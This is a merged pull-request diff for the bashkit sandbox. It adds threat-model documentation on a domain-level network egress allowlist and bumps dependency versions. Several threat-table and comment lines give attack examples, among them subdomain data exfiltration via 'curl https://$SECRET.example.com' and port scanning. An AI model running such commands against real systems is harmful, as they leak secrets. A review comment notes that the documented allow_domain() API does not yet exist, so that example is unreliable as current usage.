Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions crates/bashkit/docs/threat-model.md
Original file line number Diff line number Diff line change
Expand Up @@ -162,6 +162,33 @@ let bash = Bash::builder()
// curl https://evil.com → blocked (exit 7)
```

**Domain Allowlist (TM-NET-015, TM-NET-016):**

For simpler domain-level control, `allow_domain()` permits all traffic to a domain
regardless of scheme, port, or path. This is the virtual equivalent of SNI-based
egress filtering — the same approach used by production sandbox environments.

```rust,ignore
use bashkit::{Bash, NetworkAllowlist};

// Domain-level: any scheme, port, or path to these hosts
let allowlist = NetworkAllowlist::new()
.allow_domain("api.example.com")

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Avoid documenting allow_domain() before API exists

This section presents NetworkAllowlist::allow_domain() as a current public API, but in this commit the actual implementation (crates/bashkit/src/network/allowlist.rs) only exposes allow, allow_many, and allow_all. Users who copy this example from rustdoc will hit a compile error, and the threat-model guidance becomes inaccurate for current releases rather than clearly marked as planned behavior.

Useful? React with 👍 / 👎.

.allow_domain("cdn.example.com");

// Both of these are allowed:
// curl https://api.example.com/v1/data
// curl http://api.example.com:8080/health
```

Trade-off: domain rules intentionally skip scheme and port enforcement. Use URL
patterns (`allow()`) when you need tighter control. Both can be combined.

**No Wildcard Subdomains (TM-NET-017):**

Wildcard patterns like `*.example.com` are not supported. They would enable data
exfiltration by encoding secrets in subdomains (`curl https://$SECRET.example.com`).

### Injection Attacks (TM-INJ-*)

| Threat | Attack Example | Mitigation |
Expand Down
52 changes: 52 additions & 0 deletions specs/006-threat-model.md
Original file line number Diff line number Diff line change
Expand Up @@ -428,6 +428,9 @@ allowlist.allow("https://api.example.com");
| TM-NET-005 | Port scanning | `curl http://internal:$port` | Port must match allowlist | **MITIGATED** |
| TM-NET-006 | Protocol downgrade | HTTPS → HTTP | Scheme must match | **MITIGATED** |
| TM-NET-007 | Subdomain bypass | `evil.example.com` | Exact host match | **MITIGATED** |
| TM-NET-015 | Domain allowlist scheme bypass | `allow_domain()` permits both http and https | By design; use URL patterns for scheme control | **BY DESIGN** |
| TM-NET-016 | Domain allowlist port bypass | `allow_domain()` permits any port | By design; use URL patterns for port control | **BY DESIGN** |
| TM-NET-017 | Wildcard subdomain exfiltration | `curl https://$SECRET.example.com` | Wildcards not supported; exact domain match only | **MITIGATED** |

**Current Risk**: LOW - Strict allowlist enforcement

Expand Down Expand Up @@ -546,6 +549,54 @@ Script: curl https://api.example.com/data
- 47: Max redirects exceeded
- 63: Response too large

#### 5.6 Domain Egress Allowlist Design Rationale

Bashkit's network allowlist uses **literal host matching** — the virtual equivalent of
SNI (Server Name Indication) filtering on TLS client-hello headers. This is the same
approach used by production sandbox environments (e.g., Vercel Sandbox) for egress
control.

**Why not DNS-based filtering?**
Scripts can hardcode IP addresses, bypassing any DNS-level controls entirely.

**Why not IP-based filtering?**
A single IP address can host many domains (shared hosting, CDNs, cloud load balancers).
Blocking/allowing by IP is too coarse-grained.

**Why not an HTTP proxy?**
Proxies only work for HTTP traffic and require applications to be configured to use them
(or respect `HTTP_PROXY` env vars). They don't cover other TLS-based protocols like
database connections.

**Why literal host / SNI matching?**
SNI filtering inspects the `server_name` extension in the TLS client-hello, which the
client must send in cleartext before encryption begins. This works for all TLS traffic
regardless of protocol. Since bashkit controls the HTTP layer and provides no raw socket
access, literal host matching in the allowlist achieves equivalent coverage — every
outbound connection goes through the `HttpClient`, which checks the hostname against the
allowlist before any network I/O occurs.

**Domain allowlist vs URL patterns:**

The `allow_domain()` API provides a simpler interface when callers only need domain-level
control:

| Capability | `allow_domain()` | `allow()` (URL pattern) |
|------------|-------------------|-------------------------|
| Scheme enforcement | No (any scheme) | Yes (exact match) |
| Port enforcement | No (any port) | Yes (exact match) |
| Path restriction | No (any path) | Yes (prefix match) |
| Simplicity | High | Medium |

Callers requiring scheme or port enforcement should use URL patterns (`allow()`) instead
of domain rules. Both rule types can be combined on the same allowlist; a URL is permitted
if it matches **either** a domain rule or a URL pattern.

**Wildcard subdomains:**
Wildcard patterns (e.g., `*.example.com`) are deliberately **not supported**. They enable
data exfiltration by encoding secrets in subdomains: `curl https://$SECRET.example.com`.
Only exact domain matches are allowed (TM-NET-017).

---

### 6. Multi-Tenant Isolation
Expand Down Expand Up @@ -834,6 +885,7 @@ This section maps former vulnerability IDs to the new threat ID scheme and track
| Path normalization | TM-ESC-001, TM-INJ-005 | `fs/memory.rs` | Yes |
| No symlink following | TM-ESC-002, TM-DOS-011 | `fs/memory.rs` | Yes |
| Network allowlist | TM-INF-010, TM-NET-001 to TM-NET-007 | `network/allowlist.rs` | Yes |
| Domain allowlist | TM-NET-015, TM-NET-016, TM-NET-017 | `network/allowlist.rs` | Planned |
| Sandboxed eval/bash/sh, no exec | TM-ESC-005 to TM-ESC-008, TM-ESC-015, TM-INJ-003 | `interpreter/mod.rs` | Yes |
| Fail-point testing | All controls | `security_failpoint_tests.rs` | Yes |
| Builtin panic catching | TM-INT-001, TM-INT-002, TM-INT-006 | `interpreter/mod.rs` | Yes |
Expand Down
12 changes: 10 additions & 2 deletions supply-chain/config.toml
Original file line number Diff line number Diff line change
Expand Up @@ -106,6 +106,10 @@ criteria = "safe-to-deploy"
version = "0.37.0"
criteria = "safe-to-deploy"

[[exemptions.aws-lc-sys]]
version = "0.37.1"
criteria = "safe-to-deploy"

[[exemptions.base64]]
version = "0.22.1"
criteria = "safe-to-deploy"
Expand Down Expand Up @@ -195,15 +199,15 @@ version = "4.5.57"
criteria = "safe-to-deploy"

[[exemptions.clap]]
version = "4.5.57"
version = "4.5.58"
criteria = "safe-to-deploy"

[[exemptions.clap_builder]]
version = "4.5.57"
criteria = "safe-to-deploy"

[[exemptions.clap_builder]]
version = "4.5.57"
version = "4.5.58"
criteria = "safe-to-deploy"

[[exemptions.clap_derive]]
Expand All @@ -214,6 +218,10 @@ criteria = "safe-to-deploy"
version = "0.7.7"
criteria = "safe-to-deploy"

[[exemptions.clap_lex]]
version = "1.0.0"
criteria = "safe-to-deploy"

[[exemptions.cmake]]
version = "0.1.57"
criteria = "safe-to-deploy"
Expand Down
Loading